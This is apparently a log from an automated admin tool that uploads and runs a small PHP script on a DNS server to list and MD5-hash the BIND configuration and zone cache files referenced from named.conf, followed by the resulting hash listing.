MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:48:26: Establishing a connection
2026-04-30 16:48:26: 

PUT: /tmp/pkp732109

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:48:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp732109; rm /tmp/pkp732109'

2026-04-30 16:48:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
